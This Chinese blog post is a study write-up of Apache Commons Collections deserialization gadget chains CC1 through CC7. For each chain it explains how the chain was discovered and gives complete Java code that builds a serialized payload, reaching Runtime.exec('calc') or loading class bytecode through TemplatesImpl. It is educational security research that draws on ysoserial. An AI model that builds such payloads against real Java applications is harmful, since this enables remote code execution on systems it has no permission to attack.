JAVA反序列化-CC链
简介
Apache Commons 是对 JDK 的拓展,包含了很多开源的工具,用于解决平时编程经常会遇到的问题。Apache Commons 当中有一个组件叫做 Apache Commons Collections,封装了 Java 的 Collection 相关类对象。
学习路线
CC1->CC6->CC3->CC2->CC4->CC5->CC7
测试环境:jdk65
Commons Collections:3.2.1和4.0
CC1
影响范围
jdk <= 71
cc <= 3.2.1
逆向推
从Transformer的实现类,发现了InvokerTransformer类,在InvokerTransformer类发现了transform方法。该方法类似反射,可以调任意方法并执行。有点像后门写法。

TransformedMap
这条据说是当时传入国内时分析出来的一条。
继续反向找谁调用了transform方法,于是找到了TransformedMap中的checkSetValue方法

然后发现valueTransformer可以通过构造函数传入,是可控的。继续反向查找谁调用了checkSetValue方法。然后发现AbstractInputCheckedMapDecorator类中静态类MapEntry的setValue方法调用了checkSetValue方法。

继续反向找谁调用了setValue方法,发现在AnnotationInvocationHandler中的readObject方法调用了setValue方法,且这里的memberValues是可控的。但这里的setValue(value)方法中的参数不是可控的,这里是固定的AnnotationTypeMismatchExceptionProxy。

于是继续寻找解决办法,在Transformer的实现类中发现了ChainedTransformer类,该类的transform方法实现了传入一个transformer数组,递归调用数组中transformer的transform方法。相当于,反序列化时,走到上面TransformedMap中的checkSetValue方法时,valueTransformer也就是传入的ChainedTransformer;
但setValue方法传入的参数,依旧在第一个,链还是走不通;

于是继续寻找,在Transformer的实现类中发现了ConstantTransformer类,该类的transform方法,恒值,返回构造时传入的Transformer。于是,在ChainedTransformer类中放入以ConstantTransformer开头的数组,就实现了,无视setValue方法传入的参数,继续后面的链。这条链就通了。

注意:
map.put("value","123");
这个value是Target.class里面的属性
Gaget chain:
AnnotationInvocationHandler.readObject()
memberValue.setValue()
MapEntry.setValue()
TransformedMap.checkSetValue()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
完整代码
// 链式+Constant
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
});
// TransformedMap
HashMap<Object, Object> map = new HashMap<>();
map.put("value","123");
Map<Object,Object> decorate = TransformedMap.decorate(map, null, chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object o = constructor.newInstance(Target.class, decorate);
serialize(o);
LazyMap
LazyMap后面sink部分是一样的,也就是在找transform方法时,找到了LazyMap的get方法。然后发现这里的factory也是可控。

于是继续寻找,找到了AnnotationInvocationHandler也就是动态代理的类,其中的invoke方法,调用了get方法。也就是只要执行了AnnotationInvocationHandler这个类的任意方法,就会调用invoke,进而执行get方法。但要走到这个get方法,invoke捕捉到的method参数必须是没有的。

其实入口类可以通过别的方法进入到这里,但ysoserial中这条链的原作者走的依旧是这个类,在AnnotationInvocationHandler.readObject()中memberValues.entrySet()刚好无参数。所以整条链就走通了。

Gadget chain
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
完整代码
// 链式+Constant
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
});
HashMap<Object, Object> map = new HashMap<>();
Map lazy = LazyMap.decorate(map, chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
InvocationHandler annotationInvocationHandler = (InvocationHandler) constructor.newInstance(Override.class, lazy);
Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, annotationInvocationHandler);
Object o = constructor.newInstance(Override.class, mapProxy);
serialize(o);
CC2
依赖:commons-collections4
TemplatesImpl 动态字节码中的类必须继承AbstractTranslet
可以结合CC3一起看
该链的依赖使用的是commons-collections4,在commons-collections4中,将org.apache.commons.collections.comparators.TransformingComparator类实现了Serializable,所以可序列化了。在ysoserial的CC2中,最后的执行链写的是Runtime.exec(),但其实是利用的TemplatesImpl.newTransformer来进行动态字节码。(ysoserial中也是执行动态字节码,动态字节码中是用字符串拼接了,然后生成字节码来执行的)
该链的sink执行链后半部分和CC3是一样的,最后都是调用TemplatesImpl.newTransformer来执行动态字节码。只不过该链前半部分没有使用InstantiateTransformer 和TrAXFilter,该链使用的是InvokerTransformer来执行newTransformer。
也就是断在了反向找谁执行transform。
反向找到了,刚好实现可以反序列化的TransformingComparator中的compare方法。

然后,找这条链的技术大佬java很扎实,就想到了,优先队列PriorityQueue中有compare,且刚好comparator对象是可控的,且优先队列PriorityQueue的readObject刚好会走到compare,于是一条链就完整了。




Gadget chain
Gadget chain:
ObjectInputStream.readObject()
PriorityQueue.readObject()
PriorityQueue.heapify()
PriorityQueue.siftDown()
PriorityQueue.siftDownUsingComparator()
TransformingComparator.compare()
InvokerTransformer.transform()
Method.invoke()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
TemplatesImpl.defineTransletClasses()
TransletClassLoader.defineClass()
完整代码
// sink 执行链为TemplatesImpl
TemplatesImpl templates = new TemplatesImpl();
Class c = templates.getClass();
Field fieldName = c.getDeclaredField("_name");
// 为了满足if判断逻辑
fieldName.setAccessible(true);
fieldName.set(templates,"aaa");
// 获取字节码属性
Field bytecodes = c.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
// 获取字节码
byte[] code = Files.readAllBytes(Paths.get("D://tmp/classes/Test.class"));
byte[][] codes = {code};
bytecodes.set(templates,codes);
// 借用InvokerTransformer.transform触发newTransformer
Transformer invokerTransformer = new InvokerTransformer("newTransformer",null,null);
// invokerTransformer.transform(templates);
// TransformingComparator.compare触发transform
TransformingComparator transformingComparator = new TransformingComparator(invokerTransformer,null);
// PriorityQueue.readObject中会触发comparator.compare。这里当add第二个值时会触发comparator.compare,所以这里还是先填充其他的transformingComparator
PriorityQueue<Object> o = new PriorityQueue<>(2,new TransformingComparator<>(new ConstantTransformer<>(1)));
// 过 heapify()的 size >>> 1判断逻辑 “2 >>> 1” 0000 0010 -> 0000 0001// “>>>” 右移 补0 以8位为单位
o.add(templates);
o.add(1);
// 再通过反射填充回装有invokerTransformer的transformingComparator
Class<? extends PriorityQueue> oClass = o.getClass();
Field oClassDeclaredField = oClass.getDeclaredField("comparator");
oClassDeclaredField.setAccessible(true);
oClassDeclaredField.set(o,transformingComparator);
serialize(o);
unSerialize("ser.bin");
注意:
从头写的话,注意TemplatesImpl需要_tfactory属性逻辑。
优先队列put添加两个属性,才能过heapify()的 size >>> 1逻辑
这里也填了前面坑。在前面的CC链过程中,Runtime类,确实不能序列化。在序列化时,其实都没有生成Runtime类。 在反序列化的时候,才会触发,慢慢生成Runtime类,然后执行exec
CC3
TemplatesImpl 动态字节码中的类必须继承AbstractTranslet
该链的前半部分和CC1一样,但在后面sink类执行时,采用了加载动态字节码的方式攻击。也就是找defineClass方法,找到了TransletClassLoade。

然后该defineClass方法由TemplatesImpl.defineTransletClasses()调用

然后继续找,上面的方法由TemplatesImpl.getTransletInstance调用,并在下面进行了实例化操作,刚好就符合了动态字节码加载的要求。

继续寻找,发现了TemplatesImpl.newTransformer的方法为public并调用了上面的方法。

到这里其实就可以用CC1前面的ChainedTransformer和LazyMap或TransformedMap进行拼接了,但是是原作者是找到另一条链进行拼接。
原作者继续寻找,发现TrAXFilter的构造方法中调用了newTransformer方法。

然后,又寻找到InstantiateTransformer.transform方法可以实例化TrAXFilter。

然后再接上前半部分链就可以了,前半部分可以用TransformedMap或者LazyMap
Gadget chain
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InstantiateTransformer.transform()
TrAXFilter.TrAXFilter()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
TemplatesImpl.defineTransletClasses()
TransletClassLoader.defineClass()
完整代码
TemplatesImpl templates = new TemplatesImpl();
Class c = templates.getClass();
Field fieldName = c.getDeclaredField("_name");
// 为了满足if判断逻辑
fieldName.setAccessible(true);
fieldName.set(templates,"aaa");
// 获取字节码属性
Field bytecodes = c.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
// 获取字节码
byte[] code = Files.readAllBytes(Paths.get("D://tmp/classes/Test.class"));
byte[][] codes = {code};
bytecodes.set(templates,codes);
// 使用ChainedTransformer包裹InstantiateTransformer,并触发InstantiateTransformer.transformer
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates}),
});
// LazyMap链
HashMap<Object, Object> map = new HashMap<>();
Map lazy = LazyMap.decorate(map, chainedTransformer);
Class ccc = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = ccc.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
InvocationHandler annotationInvocationHandler = (InvocationHandler) constructor.newInstance(Override.class, lazy);
Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, annotationInvocationHandler);
Object o = constructor.newInstance(Override.class, mapProxy);
serialize(o);
unSerialize("ser.bin");
需要注意:
在Test类中,必须继承com.sun.org.apache.xml.internal.serializer.SerializationHandler
才能通过if (superClass.getName().equals(ABSTRACT_TRANSLET))的逻辑,才能反序列化成功
CC4
依赖:
Commons Collections 4.0
TemplatesImpl 动态字节码中的类必须继承AbstractTranslet
原作者都说了和CC2唯一的不同就是这里通过ChainedTransformer-ConstantTransformer-InstantiateTransformer-TrAXFilter来触发newTransformer,CC2是通过InvokerTransformer来触发。可以结合CC2和CC3一起来看
Gadget chain
Gadget chain:
ObjectInputStream.readObject()
PriorityQueue.readObject()
PriorityQueue.heapify()
PriorityQueue.siftDown()
PriorityQueue.siftDownUsingComparator()
TransformingComparator.compare()
ChainedTransformer.transform()
ConstantTransformer.transform()
InstantiateTransformer.transform()
TrAXFilter.TrAXFilter()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
TemplatesImpl.defineTransletClasses()
TransletClassLoader.defineClass()
完整代码
TemplatesImpl templates = new TemplatesImpl();
Class c = templates.getClass();
Field fieldName = c.getDeclaredField("_name");
// 为了满足if判断逻辑
fieldName.setAccessible(true);
fieldName.set(templates,"aaa");
// 获取字节码属性
Field bytecodes = c.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
// 获取字节码
byte[] code = Files.readAllBytes(Paths.get("D://tmp/classes/Test.class"));
byte[][] codes = {code};
bytecodes.set(templates,codes);
// 使用ChainedTransformer包裹InstantiateTransformer,并触发InstantiateTransformer.transformer
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates}),
});
// 创建TransformingComparator
TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer,null);
// PriorityQueue.readObject中会触发comparator.compare。这里当add第二个值时会触发comparator.compare,所以这里还是先填充其他的transformingComparator
PriorityQueue<Object> o = new PriorityQueue<>(2,new TransformingComparator<>(new ConstantTransformer<>(1)));
// 过 heapify()的 size >>> 1判断逻辑 “2 >>> 1” 0000 0010 -> 0000 0001// “>>>” 右移 补0 以8位为单位
o.add(templates);
o.add(1);
// 再通过反射填充回装有invokerTransformer的transformingComparator
Class<? extends PriorityQueue> oClass = o.getClass();
Field oClassDeclaredField = oClass.getDeclaredField("comparator");
oClassDeclaredField.setAccessible(true);
oClassDeclaredField.set(o,transformingComparator);
serialize(o);
unSerialize("ser.bin");
CC5
该链原作者说jdk版本必须要JDK 8u76,这里的jdk其实是jetbrains维护的,但很早就没维护的。其他厂商维护的jdk其实都可以触发。
该链可以对比CC6来看,CC6用的tiedMapEntry.hashCode,然后使用HashMap作为入口包裹,CC5是使用tiedMapEntry.toString,使用BadAttributeValueExpException包裹。
相当于,逆向找LazyMap.get方法时,找到了tiedMapEntry.toString


然后又继续找到了BadAttributeValueExpException的readObject调用了toString

该链就已经完整了。
需要注意的是,用BadAttributeValueExpException包装时,必须先置空,再用反射的方式放入。调试的时候,很诡异,不知道该怎么解释。猜测idea调tostring有点问题,即使关闭了debug的toString选项,也有问题。
如果我们直接将前面构造好的TiedMapEntry传进去用BadAttributeValueExpException包装时,在其构造函数就会触发toString,从而导致RCE。此时val的值为UNIXProcess,这是不可以被反序列化的,所以我们需要在不触发RCE的前提,将val设置为构造好的TiedMapEntry。
Gadget chain
ObjectInputStream.readObject()
BadAttributeValueExpException.readObject()
TiedMapEntry.toString()
LazyMap.get()
ChainedTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
完整代码
// 链式+Constant
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
});
HashMap<Object, Object> map = new HashMap<>();
Map<Object, Object> lazy = LazyMap.decorate(map, chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazy, "aaa");
// 未能理解
// BadAttributeValueExpException o = new BadAttributeValueExpException(tiedMapEntry);
BadAttributeValueExpException o = new BadAttributeValueExpException(null);
Class c = o.getClass();
Field val = c.getDeclaredField("val");
val.setAccessible(true);
val.set(o,tiedMapEntry);
serialize(o);
unSerialize("ser.bin");
CC6
与CC1相似,后半部分链是相同的。在反向找谁调用了LazyMap的get方法时,找到了TiedMapEntry中的getValue方法。

而在TiedMapEntry这个类中的hashCode方法调用了getValue方法

这就正好和URLDNS链类似,可以使用HashMap类来进行包裹,将HashMap作为source入口类。
需要注意的点也是,在put的时候会执行一边hashCode方法,所以得提前修改对象的数据,然后再改回来。
Gadget chain
ObjectInputStream.readObject()
HashSet.readObject()
HashMap.put()
HashMap.hash()
TiedMapEntry.hashCode()
TiedMapEntry.getValue()
LazyMap.get()
ChainedTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
完整代码
// 链式+Constant
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
});
HashMap<Object, Object> map = new HashMap<>();
Map<Object, Object> lazy = LazyMap.decorate(map, chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazy, "aaa");
// source 包裹
HashMap<Object, Object> map2 = new HashMap<>();
// 类似URLDNS那条链,先不填充,put后再填充,以便序列化时不触发,反序列化时触发,这里是先清空 tiedMapEntry 中的map,然后再填充成lazy
Class c = tiedMapEntry.getClass();
Field declaredField = c.getDeclaredField("map");
declaredField.setAccessible(true);
declaredField.set(tiedMapEntry,new HashMap<>());
map2.put(tiedMapEntry, "bbb");
declaredField.set(tiedMapEntry,lazy);
serialize(map2);
unSerialize("ser.bin");
CC7
该链的后半链和CC1相同,不同的是在调用LazyMap的get方法是通过AbstractMap#equals触发

继续往后推,是HashTable#reconstitutionPut中调用了equals

然后在HashTable的readObject中调用了reconstitutionPut

整条链就走完了
接下来是参数控制的问题:
调用两次put
在第一次调用reconstitutionPut时,会把key和value注册进table中


此时由于tab[index]里并没有内容,所以并不会走进这个for循环内,而是给将key和value注册进tab中。在第二次调用reconstitutionPut时,tab中才有内容,我们才有机会进入到这个for循环中,从而调用equals方法。这也是为什么要调用两次put的原因。
调用的两次put其中map中key的值分别为yy和zZ

这里的index要求两次都一样时,进入for循环,比较e.hash和当前计算出的hash后,才会进入后面的equals。而Java里面,zZ和yy的hashCode值是相同的,都是3872。所以刚好碰撞成功。两个Map需要hash相等,其实不需要哈希碰撞,随便写一个值异或回来就行。
最后的remove操作
在HashTable的put操作时,也会调用equals,调用完后(LazyMap的get会进行map.put操作),map2会多增加一个yy->yy键值对。而在反序列化时,走到equals时,会与上一个比较size,所以就无法走到下面的get,进而无法调用恶意代码,所以得remove掉。我看其他文章与这里有点不同,可能是jdk版本的原因,不过最终都是要remove。


Gadget chain
Hashtable
Hashtable.reconstitutionPut
AbstractMapDecorator.equals
AbstractMap.equals
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
完整代码
// hashcode相同3872
// int b = "yy".hashCode();
// int a = "zZ".hashCode();
Transformer[] transformers = {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
// 链式+Constant
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{});
HashMap<Object, Object> map1 = new HashMap<>();
HashMap<Object, Object> map2 = new HashMap<>();
Map<Object, Object> lazy1 = LazyMap.decorate(map1, chainedTransformer);
Map<Object, Object> lazy2 = LazyMap.decorate(map2, chainedTransformer);
lazy1.put("yy",1);
lazy2.put("zZ",1);
//map1.put("hack", -50515712);
//map2.put("halfblue", 4396);
Hashtable hashtable = new Hashtable();
hashtable.put(lazy1,1);
hashtable.put(lazy2,2);
Class<? extends ChainedTransformer> c = chainedTransformer.getClass();
Field iTransformers = c.getDeclaredField("iTransformers");
iTransformers.setAccessible(true);
iTransformers.set(chainedTransformer,transformers);
lazy2.remove("yy");
serialize(hashtable);
unSerialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unSerialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}
总结
CC1和CC3受JDK版本影响 jdk72修改了AnnotationInvocationHandler这个类的readObject方法,导致前面的链就走不通了。
- 1、3、5、6、7是
Commons Collections<=3.2.1中存在的反序列化链。 - 2、4是
Commons Collections 4.0以上中存在的反序列化链。(TransformingComparator变成了可序列化)
最后放上halfblue师傅做的图

附上学习过程中写的CC1-7的代码地址
https://github.com/Jarwu/java_commons_collections_learning
参考
非常感谢下面师傅的视频和文章
https://www.bilibili.com/video/BV1no4y1U7E1
https://github.com/frohoff/ysoserial
https://paper.seebug.org/1242/
https://halfblue.github.io/2021/08/23/CommonsCollections反序列化链整理/
本文来自博客园,作者:Jarwu,转载请注明原文链接:https://www.cnblogs.com/jarwu/p/17669457.html

浙公网安备 33010602011771号